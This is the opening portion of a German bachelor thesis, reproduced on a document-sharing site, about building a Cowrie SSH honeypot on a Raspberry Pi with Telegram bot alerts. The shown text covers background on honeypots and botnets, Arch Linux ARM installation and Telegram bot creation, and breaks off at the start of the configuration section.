+ All Categories
Home > Documents > HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by...

HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by...

Date post: 24-May-2020
Category:
Upload: others
View: 12 times
Download: 0 times
Share this document with a friend
81
B ACHELORTHESIS HoneyBot: Aufbau eines Honeypots mit dem Einplatinencomputer Raspberry Pi und Anbindung an einen Telegram-Bot Autor: Saverio WELLER Matrikelnummer: 1013834 Hauptreferent: Prof. Dr. Christian BAUN Korreferent: Prof. Dr. Matthias DEEGENER Eine Bachelorthesis zur Erlangung des akademischen Grades Bachelor of Science (B.Sc.) im Studiengang Informatik an der Frankfurt University of Applied Sciences Fachbereich 2: Informatik und Ingenieurwissenschaften 4. September 2019
Transcript
Page 1: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

BACHELORTHESIS

HoneyBot: Aufbau eines Honeypots mitdem Einplatinencomputer Raspberry Piund Anbindung an einen Telegram-Bot

Autor:Saverio WELLER

Matrikelnummer:1013834

Hauptreferent:Prof. Dr. Christian BAUN

Korreferent:Prof. Dr. Matthias DEEGENER

Eine Bachelorthesis zur Erlangung desakademischen Grades Bachelor of Science (B.Sc.)

im Studiengang Informatik an der

Frankfurt University of Applied SciencesFachbereich 2: Informatik und Ingenieurwissenschaften

4. September 2019

Page 2: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

i

Eidesstattliche ErklärungHiermit versichere ich, Saverio WELLER, dass ich die vorliegende Arbeit mitdem Titel „ HoneyBot: Aufbau eines Honeypots mit dem Einplatinencompu-ter Raspberry Pi und Anbindung an einen Telegram-Bot “ selbstständig undohne Benutzung anderer als der angegebenen Hilfsmittel angefertigt habe.Alle Stellen, die wörtlich oder sinngemäß aus veröffentlichten und nicht ver-öffentlichten Schriften entnommen sind, sind als solche kenntlich gemacht.Die Arbeit hat in gleicher Form noch keiner anderen Prüfbehörde vorgele-gen. [1]

Unterschrift:

Datum:

Page 3: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

ii

FRANKFURT UNIVERSITY OF APPLIED SCIENCES

ZusammenfassungFrankfurt University of Applied Sciences

Fachbereich 2: Informatik und Ingenieurwissenschaften

Bachelor of Science (B.Sc.)

HoneyBot: Aufbau eines Honeypots mit dem EinplatinencomputerRaspberry Pi und Anbindung an einen Telegram-Bot

von Saverio WELLER

Diese Bachelorthesis implementiert einen SSH-Honeypot auf dem Einpla-tinencomputer Raspberry Pi 3 Modell B und verbindet diesen mit einemTelegram-Bot. Dieser informiert über bestimmte Ereignisse zum Zeitpunktdes Geschehens. Zusätzlich serialisiert und speichert dieser Daten wie bei-spielsweise Anmeldeversuche und ausgeführte Befehle.

Das Aufzeichnen der Befehle soll einen Einblick über die aktuellen Methodenbei Cyberangriffen verschaffen.

Page 4: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

iii

FRANKFURT UNIVERSITY OF APPLIED SCIENCES

AbstractFrankfurt University of Applied Sciences

Fachbereich 2: Informatik und Ingenieurwissenschaften

Bachelor of Science (B.Sc.)

HoneyBot: Aufbau eines Honeypots mit dem EinplatinencomputerRaspberry Pi und Anbindung an einen Telegram-Bot

by Saverio WELLER

This bachelor thesis implements an SSH honeypot on a single-board compu-ter called Raspberry Pi 3 Model B and connects it with a Telegram bot. Thisbot informs about certain events at the time of the occurence. Additionally itserializes and logs data like used credentials or executed commands.

These logs shall provide an overview of the current methods used in cyberattacks.

Page 5: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

iv

Danksagung

Hiermit möchte ich mich bei all denjenigen bedanken, die mir das Studiumermöglicht und mich in dieser Zeit begleitet haben.

Insbesondere möchte ich mich dabei bei meiner Familie bedanken, ohne dieich nicht zu diesem Punkt gekommen wäre, aber auch bei meiner Freun-din, die mir den Rücken frei hielt und somit Zeit zum Lernen und auch zumSchreiben verschaffte.

Weiterhin möchte ich mich auch bei Herrn Prof. Dr. Christian BAUN, der sichbereit erklärt hat als Hauptreferent zur Verfügung zu stellen und bei der The-menwahl geholfen hat, und Herrn Prof. Dr. Matthias DEEGENER, der sich alsKorreferent zur Verfügung stellte, bedanken.

Auch gilt mein Dank Herrn HOCKERTS, welcher die Netzkonfiguration fürden Raspberry Pi übernahm und diesen in dem Serverraum der FrankfurtUniversity of Applied Sciences anbrachte.

Page 6: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

v

Inhaltsverzeichnis

Eidesstattliche Erklärung i

Zusammenfassung ii

Abstract iii

Danksagung iv

Inhaltsverzeichnis v

Abbildungsverzeichnis vii

Tabellenverzeichnis viii

Abkürzungsverzeichnis ix

1 Einleitung 1

2 Stand der Technik 32.1 Honeypot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32.2 Raspberry Pi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42.3 Bot . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62.4 Telegram . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7

3 Aufbau 93.1 Installation des Betriebssystems . . . . . . . . . . . . . . . . . . 93.2 Generierung des Telegram-Bots . . . . . . . . . . . . . . . . . . 103.3 Konfiguration des Raspberry Pis . . . . . . . . . . . . . . . . . 14

4 Der Telegram-Bot 194.1 HoneyBot.py . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 194.2 config.yaml . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214.3 Makefile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214.4 aiogram.py . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

Page 7: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

vi

5 Auswertung der Angriffe 245.1 Häufigkeit und Verteilung . . . . . . . . . . . . . . . . . . . . . 245.2 Anmeldedaten . . . . . . . . . . . . . . . . . . . . . . . . . . . . 275.3 Verwendete Befehle . . . . . . . . . . . . . . . . . . . . . . . . . 30

5.3.1 Die Bash Variante . . . . . . . . . . . . . . . . . . . . . . 335.3.2 Die Perl Variante . . . . . . . . . . . . . . . . . . . . . . 375.3.3 Weitere Angriffe . . . . . . . . . . . . . . . . . . . . . . 38

5.4 Eine uneingeschränktere Woche . . . . . . . . . . . . . . . . . . 39

6 Bewertung 42

7 Fazit 44

A Installations-Skripte 47A.1 arm_install.sh . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47A.2 pi_config.sh . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49

B cowrie_config/cowrie.cfg 57

C HoneyBot 61C.1 HoneyBot.py . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61C.2 config.yaml . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63C.3 Makefile . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64C.4 requirements.txt . . . . . . . . . . . . . . . . . . . . . . . . . . . 65C.5 cowrie_output_plugin/aiogram.py . . . . . . . . . . . . . . . . 66

Literatur 70

Page 8: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

vii

Abbildungsverzeichnis

2.1 Honeypot: Bewusste Schwachstelle im Netzwerk . . . . . . . . 32.2 Raspberry Pi 3 Modell B . . . . . . . . . . . . . . . . . . . . . . 5

3.1 Den Telegram Botfather suchen und anschreiben . . . . . . . . 113.2 Die Erstellung eines Bots . . . . . . . . . . . . . . . . . . . . . . 133.3 cowrie_config/honeyfs/etc/hostname . . . . . . . . . . . . . . 153.4 cowrie_config/honeyfs/etc/passwd . . . . . . . . . . . . . . . 163.5 cowrie_config/etc/userdb.txt . . . . . . . . . . . . . . . . . . . 17

4.1 Angepasste Tastatur in Telegram . . . . . . . . . . . . . . . . . 194.2 Verfügbare Befehle . . . . . . . . . . . . . . . . . . . . . . . . . 20

5.1 Durchschnittliche Angriffe pro Tag . . . . . . . . . . . . . . . . 245.2 Die 25 häufigsten Ursprungsländer . . . . . . . . . . . . . . . . 255.3 Weltkarte mit den Ursprüngen der Angriffe . . . . . . . . . . . 265.4 Die 25 häufigsten Passwörter . . . . . . . . . . . . . . . . . . . 275.5 Die 10 häufigsten Benutzernamen . . . . . . . . . . . . . . . . 285.6 Die 25 häufigsten Benutzername-Passwort-Kombinationen . . 295.7 Das dota2.tar.gz-Archiv entpackt . . . . . . . . . . . . . . . . 335.8 Verlauf der verwendeten Programme . . . . . . . . . . . . . . 355.9 Teilausgabe von strings tsm64 . . . . . . . . . . . . . . . . . . 37

7.1 Weltkarte mit sämtlich aufgezeichneten Ursprüngen . . . . . . 447.2 SSH Anmelden . . . . . . . . . . . . . . . . . . . . . . . . . . . 45

Page 9: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

viii

Tabellenverzeichnis

2.1 Raspberry Pi Spezifikationen . . . . . . . . . . . . . . . . . . . 5

3.1 Standard-Anmeldedaten von Arch Linux ARM . . . . . . . . . 10

5.1 Häufigkeit der verwendeten Befehle bei Angriffen, Teil 1 . . . 305.2 Häufigkeit der verwendeten Befehle bei Angriffen, Teil 2 . . . 315.3 Typischer Ablauf bei einem Angriff durch einen Bot . . . . . . 325.4 Häufigkeit der verwendeten Befehlen bei mehr Angriffen, Teil 1 395.5 Häufigkeit der verwendeten Befehlen bei mehr Angriffen, Teil 2 41

Page 10: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

ix

Abkürzungsverzeichnis

API Application Programming InterfaceAPT Advanced Packaging ToolARM Advanced RISC MachinesAUR Arch User RepositoryBCM BroadcomDDoS Distributed Denial of ServiceGHz GigahertzGNU GNU’s Not UnixID IdentifikatorIDA Interactive DisassemblerIRC Internet Relay ChatMAC Media Access ControlMB MegabyteMHz MegahertzRISC Reduced Instruction Set ComputerRJ Registered JackSD Secure DigitalSSH Secure ShellUDP User Datagram ProtocolVFAT Virtual File Allocation TableWLAN Wireless Local Area Network

Page 11: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

1

1 Einleitung

In einer digitalisierten Welt, in der immer mehr Geräte an das Internet ange-schlossen werden spielt Sicherheit eine große Rolle. Wird diese nicht richtigbeachtet, kann das schwerwiegende Folgen haben.

Diese reichen vom Diebstahl des Benutzerkontos, von dem man durch eineÄnderung des Passworts ausgeschlossen wird, bis hin zu dem Haften fürdas, was mit einem gekapertem Gerät ausgeführt wird.

So gibt es im Internet ganze Netzwerke von Rechnern oder Ähnlichem, vonwelchen es Angriffe auf andere Systeme gibt. Dabei muss der Ursprung desAngriffs gar kein Rechner sein. Es kann genau so gut ein beliebiges Gerätsein, dass in beispielsweise einem „Smart Home“, einem vernetzen und teil-weise fern steuerbaren Zuhause, an das Netzwerk angeschlossen wurde.

Um heraus zu finden, wie wichtig die Sicherheit der Geräte ist, kann ein Ho-neypot, ein System mit bewussten Sicherheitslücken und welches die Angrif-fe aufzeichnet, eingerichtet werden. Der in dieser Bachelorthesis verwendeteHoneypot ist dabei an das Netzwerk der Frankfurt University of AppliedSciences angeschlossen, aber zur eignen Sicherheit klar von anderen Gerä-ten abgetrennt.

Dadurch ist dieser mit einer eigenen IP-Adresse weltweit adressierbar, wasnicht bei allen Internet-Anbietern im privaten Bereich der Fall ist.

Zusätzlich wird dieser Honeypot mit einem Telegram-Bot verbunden, deraktuelle Ereignisse in Echtzeit an ein Smartphone schicken kann. Dadurchist ein instantaner Überblick über aktuell stattfindende Angriffe möglich.

Ziel dieser Bachelorthesis ist es mit Hilfe des Honeypots die aktuellen An-griffsmethoden kennen zu lernen und zu analysieren. Auch soll ein Über-blick darüber gewonnen werden in welcher Häufigkeit und Verteilung dieseAngriffe stattfinden.

Page 12: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 1. Einleitung 2

Zusätzlich soll es über den angebundenen Bot möglich sein im Notfall inter-venieren zu können. Das schließt die Kontrolle über den Honeypot ein, aberauch die Kontrolle über die Verbindungsmöglichkeiten mit dem Hauptsys-tem.

Diese Arbeit sammelt dabei über einen bestimmten Zeitraum Daten über dieHäufigkeit und Verteilung von Angriffen, sowie die verwendeten Befehlenach erfolgreichem Anmelden. Die gesammelten Daten werden daraufhinanalysiert und typische Angriffsmuster zusammen gefasst.

Im Verlauf dieser Bachelorthesis wird zunächst ein Überblick über die ver-wendete Technik gegeben, Begriffe erklärt und der Aufbau erläutert. An-schließend werden die Angriffe analysiert und daraus ersichtliche Mustersowie deren Ziele beschrieben.

Page 13: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

3

2 Stand der Technik

In diesem Kapitel wird die eingesetzte Hard- und Software beschrieben undein Einblick über deren aktuellen Stand gegeben.

2.1 Honeypot

Ein Honeypot, zu Deutsch „Honigtopf“, beschreibt im Allgemeinen eine Vor-richtung, die dazu dient potenzielle Angreifer*innen an zu locken und somitvon anderen Zielen ab zu lenken. In der Computersicherheit kann dies einServer oder aber auch ein einzelnes Programm sein mit bewusst eingerich-teten Sicherheitslücken. Diese können auch in eine abgeschirmte Umgebungführen, in der ein Protokollieren möglich ist, aber die Resultate von Angriffennicht persistent sind oder sich auf den Rest der Umgebung auswirken.

Angreifer*inaußerhalb

desNetzwerkes

Honeypot

Server

Server

Server

Netzwerk

ABBILDUNG 2.1: Honeypot: Bewusste Schwachstelle im Netz-werk

Page 14: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 2. Stand der Technik 4

In dieser Bachelorthesis kommt die Software Cowrie [2] von Michel OOSTER-HOF zum Einsatz, welche ein SSH (Secure Shell) und Telnet Honeypot ist.Beides sind Netzwerkprotokolle, mit denen es möglich ist eine textbasier-te Verbindung zu einem entfernten Gerät auf zu bauen. Im Fall einer SSH-Verbindung ist diese auch verschlüsselt.

Cowrie zeichnet dabei sowohl Brute-Force-Angriffe als auch die Interaktionmit der Kommandozeile auf. Brute-Force-Angriffe bezeichnen kryptoanaly-tische Angriffe, bei denen alle möglichen Schlüssel ausgetestet werden umZugriff auf verschlüsselte Dateien oder Systeme zu erhalten. Durch das Auf-zeichnen der Kommandozeile ist es möglich den Ablauf eines Einbruchs inein digitales System nach zu verfolgen und die verwendeten Methoden zuanalysieren. Zusätzlich liefert Cowrie ein Dienstprogramm um einen aufge-zeichneten Angriff in originaler Geschwindigkeit ab zu spielen.

Die freie Software ist in der Programmiersprache Python (ab Version 3.5,Stand: Juli 2019) geschrieben und setzt dazu eine isolierte Umgebung vor-aus, welche durch das pythoneigene Modul venv erstellt werden kann. Zu-sätzlich bietet Cowrie eine Schnittstelle zum Erweitern der Ausgabe an. Diesvereinfacht die Anbindung an den Telegram-Bot im Gegensatz zu vergleich-baren Lösungen, die inkompatibel mit aktuellen Python-Versionen sind odererweiterte Ausgaben nicht vorgesehen haben.

2.2 Raspberry Pi

Der Raspberry Pi ist ein Einplatinencomputer in der ungefähren Größe einerKreditkarte. Förderung, Entwicklung, Herstellung und Vertrieb erfolgt durchdie Organisationen Raspberry Pi Foundation und Raspberry Pi Trading, wobeierstere den gemeinnützigen und bildenden Anteil übernimmt. [3]

Dank der ARM-Architektur des verwendeten Mikroprozessors ist der Ener-giebedarf gering und in Kombination mit der kostengünstigen Anschaffungvon circa 32e (Stand: 20. Juli 2019) [4] stellt der Raspberry Pi bei geringemDatendurchsatz eine gute Alternative zu Servern dar.

Tabelle 2.1 zeigt einen kleinen Überblick über die Spezifikationen des Rasp-berry Pis 3 Modell B. Im Vergleich zu Vorgängermodellen hat dieser doppel-ten Arbeitsspeicher und die auch die Prozessor-Architektur hat einen Sprungvon der 32-Bit auf die 64-Bit Version erlebt.

Page 15: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 2. Stand der Technik 5

ABBILDUNG 2.2: Raspberry Pi 3 Modell B

Quelle: https://www.raspberrypi.org/products/raspberry-pi-3-model-b/

TABELLE 2.1: Raspberry Pi Spezifikationen

Modell Raspberry Pi 3 Modell BProzessor ARM Cortex-A53 (64-Bit), 4 Prozessorkerne,

1200 MHz TaktfrequenzChipsatz Broadcom BCM2837Arbeitsspeicher 1024 MBNetzwerke Ethernet: 100BASE-T RJ45

WLAN: 802.11n (BCM43143)Bluetooth Low Energy 4.1

Page 16: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 2. Stand der Technik 6

Um dies nutzen zu können muss das auch von dem Betriebssystem reflek-tiert werden , weshalb diese Thesis auf die Linux Distribution „Arch LinuxARM“ setzt und nicht das offizielle Betriebssystem „Raspbian“ zum Einsatzkommt.

Ein weiterer Vorteil von „Arch Linux ARM“ ist die Tatsache, dass diese Dis-tribution auf Aktualität setzt und somit mehr Programme und Dienste zurVerfügung stehen, was beispielsweise beim Einsatz des hier gewählten Tele-gram-Bots entscheidend ist, welcher auf der neuesten Version von Python ba-siert.

Seit dem Erscheinen von diesem Modell im Februar 2016 sind zwei weitereNachfolger erschienen. Zum einen der Raspberry Pi 3 Modell B+ im März2018 mit höherer Taktfrequenz, Gigabit-Ethernet und 5 Gigahertz WLANUnterstützung. Zum anderen erschien im Juni 2019 eine neue Generation(Raspberry Pi 4) mit 3 neuen Modellen, die bis zu 4 Gigabyte Arbeitsspei-cher verbaut haben und eine 4K-Bildauflösung unterstützen.

2.3 Bot

Der Begriff Bot leitet sich vom englischem „Robot“, zu Deutsch Roboter, abund bezeichnet ein automatisch repetitive Aufgaben erfüllendes Programm.Dabei gibt es verschiedene Unterarten von Bots und in dieser Thesis findetein sogenannter Chatbot Anwendung.

Ein Chatbot erlaubt die Kommunikation mit technischen Systemen und kannsomit als Schnittstelle zu Diensten und Programmen dienen. [5] Dieser rea-giert dann nur auf bestimmte, vorprogrammierte Befehle und ermöglicht sozum Beispiel das Abfragen der Status diverser Komponenten.

Es gibt jedoch auch schädliche Bots, welche mittels der zuvor beschriebenenBrute-Force-Attacke versuchen sich in verschiedene Server ein zu wählen.Diese Angriffe verlaufen dabei automatisiert und bei Erfolg werden anschlie-ßend bestimmte Sequenzen von Befehlen abgearbeitet mit dem Ziel einendauerhaften Zugang zu dem besagten Server ein zu richten. Zusätzlich ist esnicht unüblich, dass dieser Bot anschließend einem Internet Relay Chat (IRC)beitritt.

Im IRC wartet der Bot anschließend auf Befehle von den betreibenden Per-sonen. Diese können unterschiedlich ausfallen und über das Senden und

Page 17: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 2. Stand der Technik 7

Empfangen von Daten hinaus gehen. Die Betreiber*innen können die Diens-te der Bots auch zum Verkauf anbieten um beispielsweise sogenannte Denialof Service-Angriffe (DoS-Angriffe) aus zu führen. Diese führen zu einer Nicht-verfügbarkeit von bestimmten Internetdiensten in Folge von einer mutwilli-gen Überlastung des Datennetzes. [6]

Sind mehrere Bots miteinander verbunden spricht man von Botnetzen oderauch Botnets. Mit diesen sind nicht nur verteilte DoS-Angriffe möglich (Dis-tributed Denial of Service-Angriffe, kurz DDoS), sondern auch massenhaftesVersenden von Spam- oder Phishing-Mails zum Erhalt von Anmeldedaten.Auch können so mehrere Systeme gleichzeitig angegriffen werden, um dasBotnetz noch zu erweitern.

Zusätzlich gibt es noch weitere Arten von Bots, wie zum Beispiel künstli-che Intelligenzen wie in etwa Siri, der Spracherkennungssoftware von Apple,oder aber auch Cortana, der digitalen Assistentin von Microsoft, die ebenfallsmit Spracherkennung ausgestattet ist. Da diese reine Programme sind, mitdenen interagiert werden kann, gelten diese ebenfalls als Bots, auch wenndiese sich maßgeblich von den Bots aus den zuvor genannten Botnetzen un-terscheiden. Letztere sind auch als Zombies bekannt.

2.4 Telegram

Telegram ist ein seit 2013 existierender Dienst zur Übermittlung von Sofort-nachrichten und verfügbar für diverse Plattformen, die sowohl den Smart-phone- bis Desktop-Bereich abdecken als auch eine installationsfreie Web-version anbieten. [7]

Für Entwickler stellt Telegram ihre verschiedenen Programmierschnittstellen(Application Programming Interfaces oder aber auch APIs) frei zur Verfü-gung. Diese bestehen aus der Bot API, der Telegram Database Library und derTelegram API selbst (Stand: 20. Juli 2019). Damit unterscheidet sich Telegramvon anderen führenden Sofortnachrichtendiensten, die zum einen keine offi-ziellen Bots anbieten und zum anderen entweder keine Programmierschnitt-stelle direkt anbieten oder diese für Nutzer*innen nicht frei zugänglich ist.

Die Bot API von Telegram bietet nicht nur eine vergleichsweise einfacheGrundlage zur Erschaffung von Bots, sondern ermöglicht es auch den Nut-zer*innen eine angepasste Tastatur zu verwenden, welche die Interaktion

Page 18: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 2. Stand der Technik 8

komfortabler gestaltet. Über diese können vordefinierte Befehle auf Knopf-druck ausgeführt werden und somit das manuelle Eingeben ersetzen.

Zur Verwendung der Bot API gibt es diverse Bibliotheken, von denen einigeauf der Webseite von Telegram selbst aufgelistet sind. [8]

Von den dortigen Python-Bibliotheken kommt in dieser Bachelorthesis AIO-Gram zum Einsatz. Diese ist asynchron gehalten und ermöglicht somit dasAbsetzen diverser Befehle ohne auf die Fertigstellung der Vorherigen wartenzu müssen. [9]

Andere Bibliotheken kamen ebenfalls in Betracht, doch blockierten diese teil-weise, sobald ein Befehl gesendet wurde. Das heißt eine weitere Interaktionmit diesen war nicht mehr möglich. Auch vorgekommen ist, dass der Botnicht mehr reagierte, nachdem eine andere Instanz eine Nachricht verschick-te.

Page 19: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

9

3 Aufbau

Dieses Kapitel befasst sich damit das Betriebssystem auf dem Raspberry Pi 3zu installieren, die benötigten Programme zu installieren und diese im An-schluss zu konfigurieren.

3.1 Installation des Betriebssystems

Um Arch Linux ARM zu installieren bieten die Betreiber der Seite des Be-triebssystems eine ausführliche Anleitung zur Installation an. Voraussetzungfür die dort genannten Beispiele ist lediglich eine GNU/Linux-Distribution.[10]

Diese Anleitung kann mit ein paar kleinen Änderungen übernommen und inein Skript zur Automatisierung des Vorgangs überführt werden (siehe An-hang A.1).

Dabei läuft der Ablauf wie folgt ab:

Zunächst muss die microSD-Karte, von welcher der Raspberry Pi aus gestar-tet wird, formatiert und partitioniert werden. Für das Betriebssystem werdenzwei Partitionen benötigt. Für die Erste reicht eine Größe von 100 MB für denBootloader zum Hochfahren des Systems aus. Das Dateisystem dieser Parti-tion sollte dabei vom Typ VFAT (Virtual File Allocation Table) sein.

Der Rest des Speicherplatzes der Karte ist für die zweite Partition vorgese-hen, welche das Root-Verzeichnis von Arch Linux ARM beinhaltet. Das Datei-system der Wahl für diese Partition ist ext4 (fourth extended filesystem).

Damit sind die Vorbereitungen abgeschlossen und nun kann das aktuellsteAbbild des Betriebssystems von der Webseite1 heruntergeladen. In diesemFall entspricht das der DateiArchLinuxARM-rpi-3-latest.tar.gz (Stand: 25. Juli 2019).

1http://os.archlinuxarm.org/os/

Page 20: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 3. Aufbau 10

Dieses Archiv muss nun in die zweite Partition entpackt und im Anschlussdaran alle Dateien aus dem Ordner boot in die erste Partition verschobenwerden. Nach erfolgreichem Entpacken und Verschieben kann die microSD-Karte nun in den Raspberry Pi gesteckt und dem Gerät mittels Ethernet-Kabel Internetzugang zur Verfügung gestellt werden.

Nach dem Starten des Raspberrys ist es nun möglich sich dort direkt an zumelden oder dies über eine SSH-Verbindung zu tun. Tabelle 3.1 zeigt dafürdie Standard-Anmeldedaten von Arch Linux ARM.

TABELLE 3.1: Standard-Anmeldedaten von Arch Linux ARM

Benutzer alarm rootPasswort alarm root

Vor der weiteren Nutzung muss als finaler Schritt der Installation nun nochfolgende Befehle benutzt werden, um den Schlüsselring zu initialisieren undzu befüllen:

pacman-key –-initpacman-key –-populate archlinuxarm

Dies ist insofern wichtig, da Arch Linux ARM die Pakete des PaketmanagersPacman signiert um die Authentizität zu verifizieren. Danach können die ers-ten Programme und Dienste installiert werden. Da die Anmeldedaten jedochöffentlich sichtbar sind und bei jeder Installation des Betriebssystems gleichist, ist aus sicherheitstechnischer Sicht zu empfehlen als ersten Schritt dieseDaten zu ändern.

3.2 Generierung des Telegram-Bots

Vor der Konfiguration vom Raspberry Pi muss nun zuerst der Telegram-Boterstellt werden, da von diesem der Token und eine Chat-ID benötigt wird.Dazu muss dem sogenannten Botfather geschrieben werden. Abbildung 3.1zeigt, wie dies in der Android-Version des Messengers möglich ist.

Zunächst einmal muss über die Schaltfläche am rechten, unteren Rand eineneue Nachricht verfasst werden. Bei der Auswahl der Kontakte ist es mög-lich am rechten, oberen Rand nach Kontakten zu suchen, die nicht im eigenenAdressbuch vorhanden sind. Wird dort botfather eingetragen ist das einzigeErgebnis der offizielle @BotFather-Bot von Telegram. Wird dieser darauffol-gend ausgewählt erhält man eine kurz gehaltene Übersicht über diesen Bot.

Page 21: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 3. Aufbau 11

ABBILDUNG 3.1: Den Telegram Botfather suchen und anschrei-ben

Page 22: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 3. Aufbau 12

Um mit diesem nun zu interagieren muss der Bot mit dem Befehl /startgestartet werden, welcher in Form einer Schaltfläche vorhanden ist. Erst nachBetätigung von dieser ist es wieder möglich mit einer Tastatur Text ein zugeben. Als Alternative dazu erscheint aber auch eine Schaltfläche am rechtenRand innerhalb des Nachrichtenfeldes. Über diese lassen sich vordefinierteBefehle eingeben.

Ist also der erste Befehl an den Bot verschickt worden, ist die Antwort dar-auf eine Liste mit diversen weiteren Befehlen, die unterstützt werden. ZumErstellen eines neuen Bots muss /newbot eingegeben werden, woraufhin derName und der Benutzername von diesem abgefragt wird. Der Benutzerna-me muss jedoch mit dem Wort bot enden, um dieses Konto auf den erstenBlick als Bot erkenntlich zu machen.

Wenn dieser Name keine unerlaubten Zeichen enthält und noch verfügbar istgratuliert der BotFather nun zur Fertigstellung. In dieser Nachricht ist auchder Token enthalten, der zur Steuerung des Bots notwendig ist. Dieser solltedementsprechend sicher gespeichert und nicht geteilt werden.

Optional kann noch ein Profilbild der neuen Schöpfung hinzugefügt wer-den. Dies ist möglich mit dem /setuserpic Befehl und der anschließendenAngabe des Bots, dessen Bild geändert werden soll.

Um die eigene Telegram-ID zu erhalten kann der nun erhaltene Token dazugenutzt werden einen Bot zu schreiben, der einem sämtliche Attribute einerNachricht ausliest und diese entweder aufbereitet oder unbearbeitet zurückschickt. Alternativ dazu gibt es auch beispielsweise Bots, wie in etwa der@userinfobot, die einem diese Information nach dem /start-Befehl zuschi-cken.

Die Option einen eigenen Testbot mit diesem Token zu erstellen ist jedochempfehlenswerter, da bei fremden Bots nicht bekannt ist, was mit den er-haltenen Daten im Anschluss passiert. Zusätzlich muss der Bot mindestenseinmal von einer ID eine Nachricht erhalten haben, um diese anschreiben zukönnen. Dies ist von Telegram so vorgesehen, um zu vermeiden, dass Botswillkürlich IDs ausprobieren und anschreiben können.

Page 23: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 3. Aufbau 13

ABBILDUNG 3.2: Die Erstellung eines Bots

Page 24: HoneyBot: Aufbau eines Honeypots mit dem ... · Raspberry Pi und Anbindung an einen Telegram-Bot by Saverio WELLER This bachelor thesis implements an SSH honeypot on a single-board

Kapitel 3. Aufbau 14

3.3 Konfiguration des Raspberry Pis

